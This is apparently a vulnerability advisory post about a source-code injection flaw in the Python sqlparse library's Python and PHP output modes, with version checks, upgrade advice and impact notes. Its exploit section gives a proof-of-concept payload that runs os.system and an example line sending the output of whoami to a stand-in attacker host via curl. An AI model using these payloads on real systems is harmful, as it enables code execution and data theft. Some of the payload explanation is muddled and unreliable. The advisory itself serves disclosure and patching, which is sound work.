Listen to this Post
Intro
CVE-2026-59894 is a code injection vulnerability in the Python `sqlparse` library, a popular non-validating SQL parser. The issue exists in versions prior to 0.6.0.
The vulnerability lies in the library’s documented Python and PHP output modes, which are designed to generate source-code snippets from user-supplied SQL. When a user calls `sqlparse.format(…, output_format=’python’)` or sqlparse.format(..., output_format='php'), the library places the SQL into a string literal and escapes quote characters.
The core flaw is that the escaping mechanism is incomplete. The filter replaces quotes with escaped quotes (e.g., `’` becomes \') but does not first escape any existing backslashes (\) in the input. This oversight allows an attacker to craft malicious SQL. By placing a backslash immediately before a quote, the attacker can cause the generated backslash to escape itself, leaving the quote unescaped and thereby terminating the string literal.
Consequently, the attacker can break out of the intended string context and inject arbitrary Python or PHP code into the generated snippet. The `sqlparse` library itself does not execute this code; the injection only becomes a problem if a downstream consumer (e.g., a developer tool, an automated script, or a code generation pipeline) executes or imports the generated source file. This is a source-code injection vulnerability with a CVSS v4.0 base score of 6.2 (Medium severity).
The vulnerable code paths are located in `sqlparse/filters/output.py` at lines 45, 65, 91, and 114. The issue is fixed in `sqlparse` version 0.6.0.
DailyCVE Form
Platform: Python (sqlparse)
Version: < 0.6.0
Vulnerability: Code Injection (CWE-94)
Severity: Medium (CVSS 6.2)
date: 2026-08-17
Prediction: Already Patched (0.6.0)
What Undercode Say:
Analytics and verification steps for this CVE:
Clone the PoC repository (if available) or create a test environment The official PoC is available in the GitHub advisory https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-3496-9g83-7v6x Check your sqlparse version python -c "import sqlparse; print(sqlparse.<strong>version</strong>)" Vulnerable versions will be < 0.6.0 Example of a vulnerable command sqlformat --reindent --strip-comments --output-format python malicious.sql Verification of the vulnerability using the PoC harness Extract the PoC zip and run: ./reproduction/run.sh Expected output on vulnerable version: EVOHUNT_OUTPUT_FORMAT_INJECTION_VERIFIED
Python code demonstrating the vulnerable behavior
import sqlparse
Crafted SQL to break out of the single-quoted string in Python mode
malicious_sql = "SELECT '\' + <strong>import</strong>('os').system('id') ' FROM table"
Generate the Python snippet
generated_code = sqlparse.format(malicious_sql, output_format='python')
The generated code will contain the injected Python expression
print(generated_code)
This will print something like:
'SELECT \' + <strong>import</strong>(\'os\').system(\'id\') \' FROM table'
The generated file might be executed later, leading to code execution
python3 -c "exec('''$generated_code''')"
Exploit: (Educational Purposes!)
The exploitation requires control over the SQL input passed to `sqlparse.format()` with `output_format=’python’` or 'php'. The attacker crafts SQL that includes a backslash followed by a quote to escape the string context and inject malicious code.
Example Payload for Python:
SELECT '\' + <strong>import</strong>('os').system('curl attacker.com/$(whoami)') ' FROM table
In this payload:
– `\\’` : The backslash escapes itself, leaving the single quote to terminate the string.
– `+ __import__(‘os’).system(‘…’)` : This is the injected Python code that will be executed.
– `’` : This comments out the rest of the intended SQL, ensuring the generated code is syntactically valid.
When this SQL is processed with output_format='python', the generated Python snippet will contain the injected code outside of the string context. If this snippet is later executed, the attacker’s code will run.
Protection
The primary and recommended mitigation is to upgrade to `sqlparse` version 0.6.0 or later, where this vulnerability has been fixed.
pip install --upgrade sqlparse>=0.6.0
If an immediate upgrade is not possible, avoid using the vulnerable output modes (output_format='python' or 'php'). Do not execute or import any source code generated from untrusted SQL using these modes. Always treat generated code as untrusted input and sanitize it thoroughly, or avoid dynamic code execution patterns altogether.
Impact
Successful exploitation allows an attacker to execute arbitrary Python or PHP code on the system where the generated source code is executed or imported. The attacker’s code will run with the same permissions and privileges as the downstream process that consumes the generated snippet. This could lead to full system compromise, data theft, or further lateral movement within a network. The impact is limited to scenarios where a downstream consumer actively executes the generated code; the `sqlparse` formatting alone is not sufficient for exploitation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
